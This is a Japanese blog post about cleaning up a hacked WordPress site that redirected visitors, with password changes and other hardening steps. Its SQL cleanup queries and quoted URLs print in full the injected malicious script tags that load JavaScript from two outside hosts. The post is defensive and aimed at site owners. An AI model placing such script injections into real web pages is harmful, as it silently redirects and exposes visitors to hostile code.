WordPressのハッキングの復旧と対策|変なリダイレクトが多発

WordPress

WordPressで管理しているサイトにアクセスすると、変なサイトにリダイレクトされてしまうという事象が発生しました。ハッキングされたということです。復旧方法がわかったのでご紹介しますね。

  1. ハッキングを発見した経緯
    1. 自分のサイトにアクセスすると変なURLにリダイレクトされる
    2. Google Search Consoleから通知メールを受け取る
  2. 復旧方法
    1. Exploit Scannerで原因を突き止める
    2. SQLを実行して復旧
    3. 追記:違うパターンもありました
  3. 再発防止策
    1. WordPressの管理画面のパスワードの変更
    2. サーバーにSSHログインする時のパスワードの変更
    3. サーバーにFTPログインする時のパスワード変更
    4. データベースにログインするためのパスワードの変更
    5. セキュリティプラグインの導入
  4. 抜本的対策
    1. ブログサービスを独自ドメインで使う
    2. StaticPressで静的サイトとして運用する
    3. WebセキュリティサービスSiteLockで監視・駆除してもらう
  5. 再審査リクエスト
  6. さいごに

ハッキングを発見した経緯

自分のサイトにアクセスすると変なURLにリダイレクトされる

サイトにアクセスすると、一瞬自分のサイトが表示されるのですが、数秒で自動的にリダイレクトされます。

そして、全く知らないURLにアクセスし、高速でリダイレクトを繰り返し、いろんなURLにアクセスし始めます。

数秒後にようやく一つのURLに落ち着きます。その時、表示されているサイトはMackeeperというMac用のウィルス対策ソフトのページでした。

Macのパソコンからアクセスしていましたが、Windowsのパソコンでアクセスしても発生します。

ただ、最後に表示されるページはMacKeeperではなく、Windows用のソフトのページでした。

もちろんスマホからアクセスした場合も発生します。

この事象はアクセスしたら必ず発生するわけではなく、3アクセスに1回くらい発生する感じでした。

なので、あまり自分のサイトにアクセスしない人は気づくのに遅れる可能性があります。

Google Search Consoleから通知メールを受け取る

しばらく対処法がわからなかったので、放置しているとGoogle Search Consoleからメールが届きました。

件名:
ハッキングされたコンテンツが http://yourdomain.com/ で検出されました

本文:
貴サイトが第三者によりハッキングされ、一部のページで不正なコンテンツが作成されたことが検出されました。この重大な問題では、貴サイトの評判を利用して、ユーザーを貴サイトから予期しないコンテンツ、または有害なコンテンツにリダイレクトしています。また、この問題により Google 検索ユーザーの検索結果の品質も低下します。そのため Google では、手動による対策を貴サイトに適用いたしました。この対策では、貴サイトが検索結果に表示されると、ハッキングされたコンテンツに関する警告をユーザーに表示します。この手動によるスパム対策は yourdomain.com/ に適用されています。この警告を削除するには、ハッキングされたコンテンツを修正し、再審査リクエストを申請してください。ハッキングされたコンテンツが貴サイトに含まれていないことを確認できた場合は、この手動による対策を解除させていただきます。

という内容のメールです。

本文はこのあとに対処法と、直したあとの申請方法が書いてあります。

ようするに、スパム対策をされてしまったということです。

なので、検索結果にも影響されてしまいます。

試しにGoogleの検索結果にどう表示されているかを見てみました。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

このように、

このサイトは第三者によってハッキングされている可能性があります。

と表示されてしまいます。

これではユーザーさんからしてみれば怪しすぎてクリックする気なくなりますよね。

ちなみに、Yahooの検索結果にも同様の表示がされてしまいます。

検索結果をクリックするとGoogleの場合はすぐに私のサイトにアクセスしますが、Yahooの場合は、クリックすると私のサイトを表示する前に、ご丁寧にも警告の画面を表示して確認します。

こんな状態だとおそらく検索結果での順位も落ちてきてしまうので、早急に復旧したほうがいいですね。

復旧方法

Exploit Scannerで原因を突き止める

ハッキングの原因を調べてくれるプラグイン、Exploit Scannerをインストールします。

これを実行します。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

怪しい部分がたくさん検出されたのですが、元エンジニアの直感でもっとも怪しいなと感じたのが以下の部分です。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

なかなか見つからない人は、ブラウザの検索機能で「script」と検索してみるとすぐに確認できます。

記事の中から知らないドメインのJavaScriptのコードを読み込んでいるんですよね。

1
https://traffictrade.life/scripts.js

こんなの書いた記憶ないので、間違いなく外部の人がハッキングして挿入したものです。

おそらくハッカーの動機は広告収入です。

リダイレクトを利用し、たくさんのアフィリエイトリンクをユーザーに踏ませていると思われます。

また、「なんで私のサイトだけ狙われたの?」と疑問に思うかもしれませんが、別にあなたのサイトをピンポイントで狙っているわけではなく、ネット上にある数百万ものサイトに大量にアクセスして、ハックできそうなサイトをハックしているということだと思います。

SQLを実行して復旧

かなりの多くの記事にさきほどのスクリプトが挿入されていたので、ひとつひとつ手で削除していくのは現実的ではありません。

なので、データベースからSQLを実行し一括で修正しましょう。以下のページ(英語)を参考にしました。

traffictrade.life/scripts.js - Help - how to get it out?

MySQLの場合は、phpMyAdminを開き、SQLを実行できる画面を開きます。

「SQL」や「クエリ」などのタブをみれば、SQLを実行できる下のようなフォームがあるはずです。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

ここに以下のSQLを入力します。(データの破損が心配な方は念のためバックアップをとりましょう)

1
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;

ただ、注意点としては、wp_postsという部分です。

これは記事の情報が入ったテーブルなのですが、環境によってはテーブル名が違う可能性があります。

私のサイトの場合は、wpe8b126postsというテーブル名になっていました。

なので、テーブル一覧で一度確認して、違う場合はそこだけ変えてください。

そして、「クエリを実行する」をクリックします。

すると、先ほどの怪しいスクリプトを読み込む部分はなくなり、変なリダイレクトは発生しなくなるはずです。

追記:違うパターンもありました

スクリプトのURLが違うパターンも発生しました。

1
https://con1.sometimesfree.biz/c.js

流すSQLは以下となります。

1
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>', '') WHERE INSTR(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>') > 0;

先ほどのパターンとhtmlの属性の順序を変えられていて、ハッカーもあの手この手で対策されないようにしていることがわかります。かなり小ずるいですね。

再発防止策

Googleさんに「直しました!」と審査申請をする前にやるべきことがあります。

おそらく、ハッキングを防止しないと、再度同じようなスクリプトを挿入されてしまう可能性があります。

実際私のサイトはそうでした。1週間後くらいにまた同じようなリダイレクトが発生し、Exploit Scannerで調べるとまた同じスクリプトが挿入されていました。

なので、ハッキングをされないための対策をしましょう。

完璧な対策などはないですが、少なくとも以下はしておいたほうがいいかと思います。

WordPressの管理画面のパスワードの変更

利用しているユーザー全てのパスワードを変えましょう。私の場合は、辞書に出ているような単語を使っていたので、意識してランダムな文字列になるようにしました。

辞書に載っているような単語は、ハッカーにとってみれば簡単に割り出すことができます。

全単語分トライすればいいだけですので。

サーバーにSSHログインする時のパスワードの変更

WordPressではなくサーバーにログインしてくる可能性も否定できないので、変えておきましょう。

お使いのホスティングサービスの管理画面から帰る必要があるかもしれません。

サーバーにFTPログインする時のパスワード変更

同様の理由で、FTPログインする際のパスワードも変更しましょう。

データベースにログインするためのパスワードの変更

データベースに直接アクセスしてくる可能性もあるので、変更しておきましょう。

ただ、データベースのパスワードを変えると、WordPress側の設定ファイル、wp-config.phpの中の値も変更しないとサイトが表示されなくなってしまうのでご注意ください。

セキュリティプラグインの導入

例えば、SiteGuard WP Pluginは以下のようなことをしてくれます。

  • 管理画面のURLの変更
  • ログイン時に画像に書かれた文字の入力を必要とする
  • 管理画面に誰かがログインするたびにメール通知

詳しくは下の記事がわかりやすいです。

WordPressへの不正ログインを防ぐプラグイン「SiteGuard WP Plugin」

抜本的対策

正直、上記の再発防止策を講じても、100%防げるというわけではありません。なので、もしかしたら再発して、その度に対策に追われ疲れ切ってしまう可能性もあります。

なので、抜本的にこのような問題から抜け出す方法をご提案します。

ブログサービスを独自ドメインで使う

ブログサービスにも独自ドメインを使えるものがあります。これらのサービスは優秀なエンジニアが管理しているため、そうそうハッキングされることはありません。(パスワードをきちんと管理する必要はあります)

とはいえ、サービスによってはサブドメインでの運用が必須だったり、規約違反をすると閉鎖されるリスクがあったりと、Wordpressに比べて融通が効かない部分はあります。でもセキュリティを全く意識しなくていいのはかなり楽になるはずです。

StaticPressで静的サイトとして運用する

こちらはちょっと高度な対策です。

WordPressがハッキングに弱いのは、PHPとデータベースを使っているからです。複雑なシステムなので、どうしてもハッカーが穴を見つけやすくなってしまうのです。

StaticPressというプラグインでWordPressのサイト全部をただのHTMLの静的なサイトとして運用してしまえば、プログラム上の穴はなくなります。

もちろんサーバーの低いレベルで侵入されるリスクはゼロではありませんが、WordPressを狙ったハッキングのほとんどは、PHPやデータベースレベルをターゲットにしているはずなので、リスクはぐっと減ります。

そんなStaticPressの使い方は下の記事で解説しました。

StaticPressとS3で爆速で激安な静的サイトを作ろう

WebセキュリティサービスSiteLockで監視・駆除してもらう

SiteLockというサービスにサイトを監視してもらうという方法がありますね。割と手軽に設定できそうです。

定期的にサイトをチェックし、不正な改ざんを検知します。

SiteLockでハッキングの悩みを解消する

再審査リクエスト

復旧できたら、早く手動によるスパム対策を解除してもらい、検索結果に表示される「このサイトは第三者によって〜」という警告文もなくしてほしいので、早めに再審査リクエストを出したいところです。

でも、本当になおったかわからないため、しばらく様子をみてからリクエストしたほうがいいと思います。

リクエストした翌日にまた同じ事象が発生したらかっこ悪いですし、Googleさんの手間も無駄に増えちゃいますからね。(再審査は人間が行っていると思われます)

なので、私の場合は1週間くらい様子をみてからリクエストを出しました。

再審査リクエストをするページは、最初にGoogleからもらったメールの下のほうにリンクがあります。

それをクリックするとSearch Consoleのページが開くので、下のボタンを押します。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

すると文章を入力できるフォームが開くので、依頼する文章を入力して送信すれば申請完了です。

依頼文は自分は下のようにしました。

ハッキングの原因となっていたスクリプトを削除し、スパム的な挙動はなくなりました。再発防止のため、全てのパスワードを変更しました。再審査をお願いします。

審査に通れば、しばらくすると手動による対策は解除されるはずです。

私の場合は、丸一日で以下のメールが来ました。

件名:
http://yourdomain.com/ の再審査リクエストが承認されました

本文:
http://yourdomain.com/ のウェブマスター様

お送りいただいた再審査リクエストを承認し、貴サイトに対する手動による対策を解除しました。ただし、今回の手動による対策の解除はサイトの掲載順位が上昇することを保証するものではありませんのでご了承ください

そして、検索結果を確認すると、

このサイトは第三者によってハッキングされている可能性があります。

という文字列は表示されなくなっていました。

さいごに

復旧できましたでしょうか?

ハッキングの種類はこれ以外にもたくさんあるので、もしかしたら違うものの可能性もありますが、もし解決できたのなら幸いです。

本記事公開以来、「自分でやるの面倒だから復旧してくれない?」といった依頼を複数頂いております。

簡単な作業とはいえ、DBのバックアップをしたりパスワードをお預かりするような神経を使う作業なので、多くは受けたくないのですが、あまりに被害を受けている方が多く、かわいそうなので対応します。

復旧までの作業を5,000円(税込)にて対応します。再発防止策以降の作業は、復旧後にご相談に乗ります。(メールアドレスはお間違えないようお願いします。)

ハッキングの復旧作業を依頼する